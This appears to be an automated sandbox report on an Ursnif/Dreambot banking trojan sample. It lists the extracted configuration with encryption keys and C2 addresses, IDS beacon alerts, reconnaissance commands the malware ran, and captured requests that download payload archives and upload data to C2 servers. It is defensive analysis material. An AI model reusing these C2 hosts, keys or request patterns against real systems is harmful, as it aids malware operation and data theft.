                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}
                      Multi AV Scanner detection for submitted file
                      Source: d6YCUW421p.dllVirustotal: Detection: 36%Perma Link
                      Source: d6YCUW421p.dllReversingLabs: Detection: 33%
                      Machine Learning detection for sample
                      Source: d6YCUW421p.dllJoe Sandbox ML: detected
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_04AB3072
                      Source: d6YCUW421p.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                      Source: Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.501612417.0000000006390000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.495117008.0000000006390000.00000004.00001000.00020000.00000000.sdmp
                      Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000002.00000000.368230148.0000000000480000.00000002.00000001.01000000.00000005.sdmp
                      Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000004.00000003.501612417.0000000006390000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.495117008.0000000006390000.00000004.00001000.00020000.00000000.sdmp

                      Spreading

                      barindex
                      Performs a network lookup / discovery via net view
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD591B wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,4_2_05DD591B
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDFCC0 lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,4_2_05DDFCC0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDCE21 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,4_2_05DDCE21
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD5A14 lstrlenW,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,4_2_05DD5A14

                      Networking

                      barindex
                      Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49742 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49750 -> 146.70.35.138:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49750 -> 146.70.35.138:80
                      Source: TrafficSnort IDS: 2031743 ET TROJAN Ursnif Payload Request (cook32.rar) 192.168.2.6:49842 -> 193.56.146.148:80
                      Source: TrafficSnort IDS: 2031744 ET TROJAN Ursnif Payload Request (cook64.rar) 192.168.2.6:49842 -> 193.56.146.148:80
                      Source: TrafficSnort IDS: 2831963 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M2 192.168.2.6:49843 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2831962 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M1 192.168.2.6:49843 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49843 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49843 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2823044 ETPRO TROJAN W32.Dreambot Checkin 192.168.2.6:49843 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2021813 ET TROJAN Ursnif Variant CnC Beacon 192.168.2.6:49844 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2831963 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M2 192.168.2.6:49844 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49844 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49844 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2823044 ETPRO TROJAN W32.Dreambot Checkin 192.168.2.6:49844 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2831963 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M2 192.168.2.6:49846 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2831962 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M1 192.168.2.6:49846 -> 67.43.234.14:80
                      Source: TrafficSnort IDS: 2831963 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M2 192.168.2.6:49847 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2831962 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M1 192.168.2.6:49847 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49847 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49847 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2823044 ETPRO TROJAN W32.Dreambot Checkin 192.168.2.6:49847 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2021813 ET TROJAN Ursnif Variant CnC Beacon 192.168.2.6:49848 -> 67.43.234.37:80
                      Source: TrafficSnort IDS: 2831963 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M2 192.168.2.6:49848 -> 67.43.234.37:80
                      Source: TrafficSnort IDS: 2831962 ETPRO TROJAN Ursnif Variant CnC Beacon 8 M1 192.168.2.6:49848 -> 67.43.234.37:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49848 -> 67.43.234.37:80
                      Source: TrafficSnort IDS: 2823044 ETPRO TROJAN W32.Dreambot Checkin 192.168.2.6:49848 -> 67.43.234.37:80
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 146.70.35.138 80Jump to behavior
                      Uses nslookup.exe to query domains
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      May check the online IP address of the machine
                      Source: C:\Windows\System32\nslookup.exeDNS query: name: myip.opendns.com
                      Source: C:\Windows\System32\nslookup.exeDNS query: name: myip.opendns.com
                      Uses ping.exe to check the status of other devices and networks
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: global trafficHTTP traffic detected: GET /phpadmin/O5VHv_2BomBJ/FDSQ3C_2FEh/d3AB91pB2zVZZc/V8xBUftmx0M_2Bqnngedi/DpLLDhwUKQDOSSQS/nVaNzwxkqgcnJXK/SQy2RrteBXCJGPusj_/2Fou9gPbn/TEfuPZW_2FR5wp1JKvFc/BRr_2Bgc4Sh6fwKpLbg/92QNhdYG6IBsInIDDSBHis/CLBmXrf7shSlX/Qy4n9fNl/nE2maUEbSwiaPEHMkNYQxQk/D1KSQzl_2F/HXQWBGmfgthfPqv/9SK.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /phpadmin/zilwS36OC_2/FnjmOckuG_2BCm/VAdwDdj_2Fnac_2F0y6xc/deXhx0rBocPzi7tR/z8VoemZhKDJOEZ_/2FB71dJS5j3dZE2NGK/cGLO3t6yJ/yUrrIk8eZ08FZSU_2FS0/2G1FFOzId8doUQdjVtt/kPQnX57urwlFySqx1IZrAD/AgrnwQGGtXT4R/Tizv3fN7/xX9kvTCwfaZ1KZbAGWbajAo/gFAssOtH9Z/e8lp2TS1JzI4llaNY/olcdYO51/byt.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /phpadmin/TYhCb5d3/Qd3Po_2BKjelP_2F7WSwUso/7m8jnTpLRx/uExGwdKAdHoPBjWMC/elgD5kzT2sqT/T1iJBxA5UdT/uL5VED_2B8E0P8/_2FtpnrB_2FZlg9AlWg_2/BdtlwpvI_2BcVtwg/McOCY72thR3WVt5/wVoK31AOn6hDpHdQON/XBB32U4r8/fKY68F7l0jZNTMcXJ71L/odruZsWwSuNEIUWqi7s/08LTc4yWUohU0pkFp1T8P2/l2fvxomE6/r6zvT.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /stilak32.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /stilak64.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /cook32.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /cook64.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 193.56.146.148Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /images/AoDLtoSAe/6DutmjjyTDh_2FQIHiYd/9oUyw2I2q90tROkr2KR/CWUpolUDaN3tzGChr_2Fou/FHzHk9QUMrSRZ/edSCIB1B/azzWY7zElPFGbO93RGKzQEV/_2BFkKFxQ8/998NdOxMsC3fIYEdc/Ie4_2B_2Fdrx/UGzDt2NGXpg/BvRBjI35WivTtB/QL0X0ILari4KdxRWbrbAr/dqxmqcvrNDaF_2Bj/dg1F4yD3XCaAWKh/cjFMlT2T0Dm12MNjNP/5xwNUsaBN/B99UzFhpyEcfojrdPWgD/_2FdFku_2FhlwUSz/g.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: POST /images/vdoa2puIgygDcKHOof7W5Nx/Sm5x_2FLro/zObUXzRQyLPWX4K31/W76pZEGagBpT/o6IGunTWfCn/lXzKVuv3SgxDcg/QnnnzAZBFXh1ukr9Caozw/wPM7sTqNdf9sx_2F/Rne6TvIOz1EJrXu/g31KyfFRkwWQ7yEqN4/zXMBf0AoC/FcsOEsPhqIXCKsCLKvy2/p_2BCCsPTnYHLO5apYZ/ZOWl4UxrQhGJIiW3n82a5o/LRy86Sxl6Pzdu/NQ1r9_2F/M2tmRTakUsCXcEs_2FmAAzP/G6Sk1Uhj8yi4/tFtBd.bmp HTTP/1.1Content-Type: multipart/form-data; boundary=11596931742640080004178997978User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Content-Length: 56433Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: POST /images/exH_2BV5hI6UV32xq/9iKc6ZjImWoQ/GIugApItTP6/eU0FsndbiatJlG/8sZ81QZwXTfmteOvaRx3j/YoZ9Z9WZVb88loFE/XwzEGCF_2FYd014/RsM17SCy13qQU2pAif/TMyGZBQvh/N26WrESLVWVbmtD7LEn9/Rx20gFSw1JZAg58DLOG/BJUKRsQbaNOa0owKYxus_2/BoGrwh_2BDKqm/DuvxAvK6/zywXiP_2Bz0bAUH1Ay0X5pY/Ej1B6Nr9jL/cJXSt0eQu6DGGZWaR/qgLa8p54JO9D/mFJ_2BIO/ix2MS.bmp HTTP/1.1Content-Type: multipart/form-data; boundary=10237571242640080004192591583User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Content-Length: 385Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 30 32 33 37 35 37 31 32 34 32 36 34 30 30 38 30 30 30 34 31 39 32 35 39 31 35 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 37 42 43 33 2e 62 69 6e 22 0d 0a 0d 0a bd b0 f1 b6 42 83 6d 65 20 17 b7 fb 0d 60 e3 e2 8e a3 3d 4a a0 8f 53 32 cd a5 0d 3f d7 08 bf cf f4 c9 84 46 e2 bc 84 12 c0 c3 eb 2a e5 03 39 f0 51 30 6f 08 25 1f 0d 8c 35 e7 bf fd 2b a4 34 e4 a3 3f 1b a5 e0 ad 70 da d9 18 0c e9 08 df 88 03 7f 14 91 6e 2c 69 c2 3b 07 ce 1b 3c d4 9b 0b d9 d7 31 57 2d 0a cc c1 c3 8c 59 fd e9 25 83 65 d5 1a 69 75 ca 41 3a 04 b8 d7 d6 e1 b9 70 4c 46 1b 1c 38 1c a5 12 4b 46 bf e1 55 f7 c8 ef dc d0 f1 67 44 ca b3 44 9d 69 62 8b 5c 75 ec 35 e6 3c cf 38 8f be 4b 6b e5 e6 5d 26 9d f3 ce 48 68 4e b1 b8 6a 45 18 72 2f 38 c9 03 f5 51 e0 b9 01 97 cc 43 ab 9c 64 8f 0d 59 27 f3 4b 68 35 08 89 8b 40 e9 64 aa 92 d9 fc c8 62 7d b8 2c a0 d3 9b ee a8 42 c2 4d c4 68 17 66 1c 27 e3 e4 bc e3 1e 3a 89 0d 0a 2d 2d 31 30 32 33 37 35 37 31 32 34 32 36 34 30 30 38 30 30 30 34 31 39 32 35 39 31 35 38 33 2d 2d 0d 0a Data Ascii: --10237571242640080004192591583Content-Disposition: form-data; name="upload_file"; filename="7BC3.bin"Bme `=JS2?F*9Q0o%5+4?pn,i;<1W-Y%eiuA:pLF8KFUgDDib\u5<8Kk]&HhNjEr/8QCdY'Kh5@db},BMhf':--10237571242640080004192591583--
                      Source: global trafficHTTP traffic detected: POST /images/fWI73R1_2Fi/dMEh0cq63rRCJy/hEJHCisV7TLXf6s5qDp3z/BCtN_2Bg1My_2Bxo/AhaNT6s6q6_2B58/OQZoTj4FY38JIpdz1z/MCQ_2Fvl2/KaObwwaShYciWGHB8igT/ebmAGB0PycjKyjC2pvQ/6aj0R0O7yrH6fMGLiN7rcC/6qFHr8cars3Gw/I8BuhPaS/BZ6BhWd8QiKaDrJK4XQp4Ag/g0wwOGo1XO/QfQATDgE2jY4Wf7L8/foVbicjFFFm0/9oroSq36Cxf/G6HPMi1wZ9ycu5/gwcS_2Bt/rdAx9WRg/N.bmp HTTP/1.1Content-Type: multipart/form-data; boundary=8643821742640080004208529078User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.14Content-Length: 559Connection: Keep-AliveCache-Control: no-cache
                      Source: global trafficHTTP traffic detected: GET /images/hn9vDo5o2pdwMOj3di2/srMWN78hgDZUaczxPO5xxx/2O_2BS3ntQAQz/HnUcb3IT/8KnpgLjtplHN_2BEPqSF8QZ/cHtm5lTJOq/oTLlrsZ_2FnSt3L1j/Pc8IkXGbvady/p2WZlb867S8/9A0MeJ_2Bf5dgM/Eq4tZ0kF_2BtpXCObDeNb/z7e3J6dr_2FplJ56/bsJlbMROD_2Bomk/PfAQY77jeEzZAgeRyz/ayGbSxTMe/2FEuvtf4avwFHn_2BWAf/pOJpt5b_2FsOQqxnM7m/jDA3Wj8oGk9rEw_2Buu3H7/S72EfErm/f.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 67.43.234.37Connection: Keep-AliveCache-Control: no-cache
                      Source: Joe Sandbox ViewASN Name: LVLT-10753US LVLT-10753US
                      Source: rundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://constitution.org/usdeclar.txt
                      Source: rundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://constitution.org/usdeclar.txtC:
                      Source: powershell.exe, 00000013.00000003.596263415.000001985C0A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft.coQ
                      Source: RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609045780.0000028A77C7D000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://curlmyip.net
                      Source: RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609045780.0000028A77C7D000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://curlmyip.netQ8tR9QJN7lLzOLlefile://c:
                      Source: RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://help.disneyplus.com.
                      Source: rundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://https://file://USER.ID%lu.exe/upd
                      Source: RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ipinfo.io/ip
                      Source: RuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobe.cmge
                      Source: RuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobe.uxEN
                      Source: RuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobp/
                      Source: RuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.micro/1%L
                      Source: powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                      Source: powershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                      Source: powershell.exe, 00000013.00000002.606222894.0000019843C71000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: powershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                      Source: powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                      Source: powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                      Source: powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                      Source: RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://disneyplus.com/legal.
                      Source: powershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                      Source: powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                      Source: RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
                      Source: RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
                      Source: RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.tiktok.com/legal/report/feedback
                      Source: unknownDNS traffic detected: queries for: resolver1.opendns.com
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB4CC6 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError,4_2_04AB4CC6
